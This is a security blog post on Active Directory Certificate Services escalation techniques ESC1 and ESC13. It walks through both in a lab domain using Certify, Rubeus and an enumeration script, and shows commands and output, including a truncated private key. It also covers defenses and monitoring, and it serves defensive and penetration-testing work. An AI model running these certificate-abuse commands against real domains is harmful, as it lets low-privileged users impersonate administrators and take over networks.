In the first article about AD CS we covered some of the basics about this Windows server role and how this environment can be vulnerable to attacks. We talked about the domain escalation possibilities, specifically ESC8 which is the last escalation technique from the certified pre-owned whitepaper. Since the publication of this paper six more escalation techniques have been identified and published. In this post we are going to dive a bit deeper into the technicalities from the first and one of the latest techniques (to this date), ESC1 and ESC13. We’ll have a look at how these two escalation-techniques can compromise a whole domain or at least parts of it and how complex it is, or not.

What is new(er) in the world of AD CS escalation techniques?

After the release of the whitepaper, the topic got more attention and additional privilege escalation techniques for AD CS were identified. It started with Oliver Lyak and his post about ESC9, which refers to a flag set on a certificate template, and ESC10 which refers to weak certificate mapping (two registry key values on a DC). After that, Sylvain Heiniger wrote about ESC11, which is again relaying NTLM to the certificate authority, but this time the certificate request is done via the ICertPassage remote protocol (ICPR). Hans-Joachim Knobloch contributed ESC12 where he writes about abusing shell access to CA servers to access a CAs private key in a hardware security module (HSM). Now onto the currently latest domain escalation techniques, ESC13 , which was published by Jonas Bülow Knudsen on the 14th February, and ESC14 on the 29th of February. ESC14 is not particularly new since it was first described in 2019 by Géraud de Drouas and demonstrated by Jean Marsault in a blog post, in the chapter ACL exploit on user objects. Although not new, it is likely to receive more attention with its inclusion in the AD CS abuse techniques. As the requirements for these techniques vary greatly, it is important to understand the basics of these techniques to prioritize which ones need to be addressed as soon as possible from a defensive perspective.

Introduction ESC 1

In the first article about AD CS we looked at some of the information which is stored in certificates such as sssuer, enhanced key usages and so on, which can be predefined in the certificate template. ESC1 allows for a possible compromise of the domain, let’s look at the prerequisites that are required for the misconfigured certificate template to be categorized as ESC1:

• Enterprise CA grants low-privileged users or groups, like domain users, enrollment permission
• Issuance Requirements on the template do not require CA certificate manager approval and the option “This Number of authorized signature” is not required for enrollment
• Enrollment rights on CA template allow low-privileged users or groups, like domain users, enrollment rights
• Enhanced Key Usage for authentication are defined. This includes client authentication, smart card logon, PKINIT client authentication and any purpose
• Subject Name Option is set to supply in the request which means the requester can specify any SubjectAlternativeName (SAN) in a certificate request

The certificate template stores the value of the subject name configuration in its active directory object, in the property msPKI-Certificate-Name-Flag. If the value in the template was set to supply in the request, the msPKI-Certificate-Name-Flag will have the value 1 which is equal to CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT. The full list of possible values can be found in the following Microsoft Documentation. For now, keep the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT in mind as we will see it later. There is a pretty simple way to detect the misconfiguration for ESC1, if you are creating the certificate template from scratch. If the setting require the following for enrollment is not set to require manager approval and subject name is set to supply in the request, the following warning message will appear:

Heads-up: If a template is duplicated and the settings Subject Name and issuance requirements are not modified, there will not be another warning message! Additionally, there are some templates which already have the ENROLLEE_SUPPLIES_SUBJECT flag, the option supply in the request is set to true, enabled. If there is a business-process to have one or more master templates, misconfigurations for lots of different templates can occur rather quickly.

Walkthrough

We assume that we have a foothold on a client and have at least one user, in this case erma, compromised. From said User we can do one of the following, assuming we managed to get local ddmin privileges:

• Run Sharphound, export the data to another offline machine and enumerate any possible attack-paths, including AD CS ESC
• If we only want to check AD CS we can use the Tool Certify on the compromised client

With the information gathered by sharphound, we can now identify the following in Bloodhound:

Pretty neat since it also describes all the steps.

With Certify we get the following information:

After identifying the misconfiguration, we use certify to request a new certificate in the name of a high-privileged User, DA01, which is part of the domain administrator group.

PS C:\tools> .\Certify.exe request /ca:Odin.labs.org\labs-ODIN-CA /template:ESC1Template /altname:DA01

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.1.0

[*] Action: Request a Certificates

[*] Current user context    : LABS\erma
[*] No subject name specified, using current context as subject.

[*] Template                : ESC1Template
[*] Subject                 : CN=erma, CN=Users, DC=labs, DC=org
[*] AltName                 : DA01

[*] Certificate Authority   : Odin.labs.org\labs-ODIN-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 8

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA5N5ut6P/DbiqvuLjVc0oD4JM4ye2XqDQ6+h1AoKC1bJbNO1J
8i7o1UQPiDjzjOqMgEtgu44Vjd6wR3sYrHJXtMR+QyLZF/Vda28AC8YrFoPJhJbx
e5VbJEmHCJe6/OXD/...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFnzCCBIegAwIBAgITSwAAAAj+vM+BfDr1kAAAAAAACDANBgkqhkiG9w0BAQsF
ADBCMRMwEQYKCZImiZPyLGQBGRYDb3JnMRQwEgYKCZImiZPyLGQBGRYEbGFiczEV
MBMGA1UEAxMMbGFic...
-----END CERTIFICATE-----

Now we can create a .pfx version and use this together with the tool Rubeus to request a ticket granting ticket (TGT) as DA01 and finish ESC1:

ESC1 Defense

There are a couple of defensive measures against ESC1. The most common and simple one is to not allow the requesters to specify the SAN, while manager approval is disabled. Even if manager approval is enabled an inadvertent mistake can happen, therefore it is additionally recommended to not allow enrollment to low-privileged users or groups, especially for templates which include the EKUs for authentication. More information about defensive measures can be found in the whitepaper.

Introduction ESC 13

This technique was published recently on the 14th of February. It is quite a bit more complex than ESC1. An attacker can also escalate privileges, depending on the configuration not as easy and most of the time widespread as with ESC1. ESC13 is about abusing issuance policies which can be assigned to certificate templates. An issuance policy is a certificate extension which can be used to grant access to a system, only if the user can present a certificate with a given issuance policy. If an issuance policy is defined in the extensions tab on a certificate template it will be stored in the AD Object, as an ObjectIdentifier (OID) in the msPKI-Certificate-Policy Attribute. The issuance policies are stored at CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=labs,DC=org and have an attribute msDS-OIDToGroupLink where a group can be linked to the policy. The group can only be linked if it is empty and has the group scope universal. In the following example this group is called ESC13Group and has access to the share secret_tools on the domain controller Odin.labs.org.

The prerequisites for this technique are the following:

• The user has enrollment rights on the certificate template
• The certificate template has no issuance requirements, like manager approval, which cannot be met
• The certificate includes EKUs that can be used for authentication
• The certificate template has an issuance policy extension
• The issuance policy has a group link to a group

Walkthrough

We assume the same scenario as we did in the ESC1 walkthrough. We have a foothold on a client and have at least one user, in this case erma. From the user erma we run the Check-ADCSESC13 Powershell Script from Jonas Bülow Knudsen which helps us identifying certificate templates which can possibly grant us additional memberships. The Output of the script gives us the following information:

PS C:\tools> .\Check-ADCSESC13.ps1
Enumerating OIDs
------------------------
OID 15025159.30AEC464A81EEE6B13050EB222788277 links to group: CN=ESC13Group,CN=Users,DC=labs,DC=org

OID DisplayName: 1.3.6.1.4.1.311.21.8.6105977.692157.4541333.10055054.9902406.79.2708539.15025159
OID DistinguishedName: CN=15025159.30AEC464A81EEE6B13050EB222788277,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=labs,DC=org
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.6105977.692157.4541333.10055054.9902406.79.2708539.15025159
OID msDS-OIDToGroupLink: CN=ESC13Group,CN=Users,DC=labs,DC=org
------------------------
Enumerating certificate templates
------------------------
Certificate template ESC13Template may be used to obtain membership of CN=ESC13Group,CN=Users,DC=labs,DC=org

Certificate template Name: ESC13Template
OID DisplayName: 1.3.6.1.4.1.311.21.8.6105977.692157.4541333.10055054.9902406.79.2708539.15025159
OID DistinguishedName: CN=15025159.30AEC464A81EEE6B13050EB222788277,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=labs,DC=org
OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.6105977.692157.4541333.10055054.9902406.79.2708539.15025159
OID msDS-OIDToGroupLink: CN=ESC13Group,CN=Users,DC=labs,DC=org
------------------------
Done

Now we can use Certify again to request a certificate from the vulnerable template:

PS C:\tools> .\Certify.exe request /ca:Odin.labs.org\labs-ODIN-CA /template:ESC13Template

After receiving the certificate, we can follow the same procedure as before. We create a .pfx version and use Rubeus to request a TGT. This grants access to us as if we are a member of the ESC13Group. If we decrypt the TGT we can see that the groups field has an additional value 1112 which matches with the RID of the ESC13Group

PS C:\tools> .\Rubeus.exe describe /servicekey:978... /ticket:doIFojCCBZ6gAwIBBaEDAgE...
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.2


[*] Action: Describe Ticket


  ServiceName              :  krbtgt/labs.org
  ServiceRealm             :  LABS.ORG
  UserName                 :  erma
  UserRealm                :  LABS.ORG
  StartTime                :  4/8/2024 6:29:11 PM
  EndTime                  :  4/9/2024 4:29:11 AM
  RenewTill                :  4/15/2024 6:29:11 PM
  <...>
  Decrypted PAC            :
    LogonInfo              :
      <...>
      PrimaryGroupId       : 513
      GroupCount           : 2
      Groups               : 513,1112
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : ODIN
      LogonDomainName      : LABS
      <...>

PS C:\tools> Get-ADGroup ESC13Group -Properties Members


DistinguishedName : CN=ESC13Group,CN=Users,DC=labs,DC=org
GroupCategory     : Security
GroupScope        : Universal
Members           : {}
Name              : ESC13Group
ObjectClass       : group
ObjectGUID        : c88a5e40-10f8-47aa-b157-6b1f64dfe42a
SamAccountName    : ESC13Group
SID               : S-1-5-21-3095442552-3703507723-3996421468-1112

Now we check if we have access to the share, that should only be accessible by members of the ESC13Group:

But where, how and why is this used?

This is used in the Microsoft Authentication Mechanism Assurance (AMA) for Active Directory Domain Services (AD DS). If this is implemented, users can have different permissions depending on the log-in method, they are using. If they are using their username and password combination they have standard user permissions on the system. If they log-in with certificate-based logon they will have administrative permission on the system. So how does it work? AMA adds an administrator-designated group membership to the user’s Kerberos token when authenticating, this is from the certificate that has an issuance policy which links to a universal group in AD. More Information about AMA can be found in this Microsoft Post, the blogpost use AMA to secure admin account logins or Authentication Mechanism Assurance.

ESC13 Defense

If there is no intention to implement concepts like Microsoft Authentication Mechanism Assurance it can be an advantage to not use issuance policies or attributes like msDS-OIDToGroupLink. If there is a need for these kinds of certificate templates, it is highly recommended to monitor certificate enrollment. Principals which can enroll in certificates that are linked to high privileged groups need to be segregated and monitored accordingly. The WindowseEvent IDs and the approach on how to monitor user and machine certificate enrollments as well as certificate authentication events is well described in the whitepaper under section DETECT1 and DETECT2.

Conclusion

While ESC1 is clearly a misconfiguration, there is room to discuss if ESC13 should, per se, be seen as the same. The feature for linking issuance policies to certificate templates and therefore certificates is used by Microsoft Authentication Mechanism Assurance. If there is a clean- and thought-out concept for implementing a feature like AMA, it may make sense to secure administrative accounts this way. It is designed to ensure that users are a member of a security group and logged in with a strong authentication method, like smartcards. However, importance must be attached to the segregation of accounts. Principals who have permission to enroll in certificates that have issuance policies that include group links to highly privileged groups must be considered high-value users/targets. An analysis of the attack path should help to better understand the dependencies of the different users, groups, objects, etc. Depending on the configuration of the AD CS environment it may not be susceptible to some of the easier, better-known techniques like ESC1 – ESC8. Nevertheless, since AD CS abuse techniques are continuously evolving and new ones are identified and published, it is crucial to have adequate countermeasures in place like recurring audits of the AD CS environment, monitoring and response plans.

About the Author

Eric Maurer completed his IT training in the financial sector and then gained experience in the roles of administrator, engineer and consultant. He was involved in the development, setup and operation of an Enhanced Security Administrative Environment and the international rollout of Active Directory Services. In addition he is experienced in Azure Active Directory with a focus on security.

Links

• https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
• https://github.com/GhostPack/Certify
• https://github.com/GhostPack/Rubeus
• https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1
• https://github.com/gdedrouas
• https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1
• https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/9b8ed605-6b00-41d1-9a2a-9897e40678fc
• https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd378897(v=ws.10)?redirectedfrom=MSDN
• https://medium.com/specter-ops-posts/adcs-esc14-abuse-technique-333a004dc2b9
• https://mendel129.wordpress.com/2015/10/05/authentication-mechanism-assurance/
• https://pkiblog.knobloch.info/author/hajo
• https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm
• https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53
• https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
• https://specterops.io/assets/resources/Certified_Pre-Owned.pdf
• https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
• https://twitter.com/Jonas_B_K
• https://twitter.com/iansus
• https://twitter.com/ly4k_
• https://twitter.com/sploutchy
• https://www.gradenegger.eu/en/using-authentication-mechanism-assurance-ama-to-secure-the-login-of-administrative-accounts/
• https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/#section-3-4